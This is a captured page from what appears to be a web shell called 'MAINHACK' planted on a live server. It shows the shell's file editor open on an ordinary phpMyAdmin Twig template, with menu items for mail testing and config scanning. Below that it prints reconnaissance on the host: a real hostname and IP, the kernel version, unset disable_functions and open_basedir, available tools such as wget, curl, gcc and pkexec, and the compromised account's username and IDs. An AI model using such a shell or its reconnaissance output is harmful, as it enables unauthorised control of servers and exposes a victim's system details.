[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: profiling_chart.twig
<fieldset class="pma-fieldset"> <legend>{% trans 'Profiling' %}</legend> <div class="float-start mx-2"> <h3>{% trans 'Detailed profile' %}</h3> <table class="table table-sm table-striped" id="profiletable"> <thead> <tr> <th> {% trans 'Order' %} <div class="sorticon"></div> </th> <th> {% trans 'State' %} <div class="sorticon"></div> </th> <th> {% trans 'Time' %} <div class="sorticon"></div> </th> </tr> </thead> <tbody> {% for state in profiling.profile %} <tr> <td>{{ loop.index }}</td> <td>{{ state.status }}</td> <td class="text-end"> {{ state.duration }}s <span class="rawvalue hide">{{ state.duration_raw }}</span> </td> </tr> {% endfor %} </tbody> </table> </div> <div class="float-start mx-2"> <h3>{% trans 'Summary by state' %}{{ show_mysql_docu('general-thread-states') }}</h3> <table class="table table-sm table-striped" id="profilesummarytable"> <thead> <tr> <th> {% trans 'State' %} <div class="sorticon"></div> </th> <th> {% trans 'Total Time' %} <div class="sorticon"></div> </th> <th> {% trans '% Time' %} <div class="sorticon"></div> </th> <th> {% trans 'Calls' %} <div class="sorticon"></div> </th> <th> {% trans 'ΓΈ Time' %} <div class="sorticon"></div> </th> </tr> </thead> <tbody> {% for name, stats in profiling.states %} <tr> <td>{{ name }}</td> <td class="text-end"> {{ format_number(stats.total_time, 3, 1) }}s <span class="rawvalue hide">{{ stats.total_time }}</span> </td> <td class="text-end"> {{ format_number(100 * (stats.total_time / profiling.total_time), 0, 2) }}% </td> <td class="text-end">{{ stats.calls }}</td> <td class="text-end"> {{ format_number(stats.total_time / stats.calls, 3, 1) }}s <span class="rawvalue hide"> {{ (stats.total_time / stats.calls)|number_format(8, '.', '') }} </span> </td> </tr> {% endfor %} </tbody> </table> </div> <div class='clearfloat'></div> <div id="profilingChartData" class="hide"> {{- profiling.chart|json_encode() -}} </div> <div id="profilingchart" class="hide"></div> <script type="text/javascript"> AJAX.registerOnload('sql.js', function () { Sql.makeProfilingChart(); Sql.initProfilingTables(); }); </script> </fieldset>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.99 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002